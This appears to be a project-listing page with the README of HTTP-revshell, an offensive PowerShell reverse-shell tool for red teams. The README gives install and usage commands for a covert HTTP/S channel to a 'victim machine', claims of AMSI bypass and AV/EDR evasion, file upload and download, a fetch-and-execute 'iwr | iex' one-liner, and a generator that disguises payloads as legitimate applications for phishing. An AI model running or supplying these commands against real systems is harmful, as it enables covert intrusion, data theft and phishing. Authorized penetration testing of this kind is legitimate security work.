Skip to content
项目

关于

使用 HTTP/S 协议的 PowerShell 反向 Shell,支持绕过 AMSI 并感知代理。

系统与基础设施

这些数字如何统计

可以做什么

  • Load powershell scripts through the server
  • Autocomplete PowerShell functions (optional)

实测星标增长

24小时
0
7天
0
15天
+1
1个月
正在收集历史

各周期内的星标净变化,周期相互重叠,并非每日新增。缺失的测量保持空白。星标代表关注度,不代表软件质量。

README.md

原文

Powershell HTTP/S Reverse Shell

Category-tool Powershell Python License

HTTP-revshell is a tool focused on redteam exercises and pentesters. This tool provides a reverse connection through the http/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS and AV.

NOTE: The tool will not be maintained in terms of evasion. With just a few changes you can bypass many EDRs on the market.

HTTP-revshell

Help server.py

Server usage:

usage: server.py [-h] [--ssl] [--autocomplete] host port

positional arguments:
  host            Listen Host
  port            Listen Port

optional arguments:
  -h, --help      show this help message and exit
  --ssl           Send traffic over ssl
  --autocomplete  Autocomplete powershell functions

Help Invoke-WebRev.ps1 (client)

Client usage:

Import-Module .\Invoke-WebRev.ps1
Invoke-WebRev -ip IP -port PORT [-ssl]

Installation

git clone https://github.com/3v4Si0N/HTTP-revshell.git
cd HTTP-revshell/
pip3 install -r requirements.txt

Features

  • SSL
  • Proxy Aware
  • Upload files
  • Download files
  • Load powershell scripts through the server
  • Error Control
  • AMSI bypass
  • Autocomplete PowerShell functions (optional)

Extra functions usage

Upload

This function allow you to upload any file to the victim machine.

Usage:

upload /src/path/file C:\dest\path\file

Download

This function allow you to download a file to the attacker machine.

Usage:

download C:\src\path\file /dst/path/file

Loadps1

This function allows you to load from powershell scripts without having to write to the victim's disk, reading the file through legitimate HTTP traffic.

Usage:

loadps1 /path/to/the/local/server/PowershellScript.ps1

Help Revshell-Generator.ps1 (Automatic Payload Generator)

This script allows you to create an executable file with the payload necessary to use HTTP-revshell, you just need to follow the instructions on the screen to generate it. There are 6 predefined templates and a customizable one, with the data that you like.

The payloads generated by the tool, incorporate the legitimate icon of the application, as well as the product and copyright information of the original application. In addition, each of them opens the original application before establishing the connection with the server, pretending to be a legitimate application. This can be used for phishing or Red Team exercises.

Payload Generator usage:

powershell "iwr -useb https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Revshell-Generator.ps1 | iex"

Revshell-Generator

IMPORTANT: All fields in predefined templates are auto-complete by pressing the enter key.

Credits

Disclaimer & License

This script is licensed under LGPLv3+. Direct link to License.

HTTP-revshell should be used for authorized penetration testing and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission.

探索相关项目

加载中…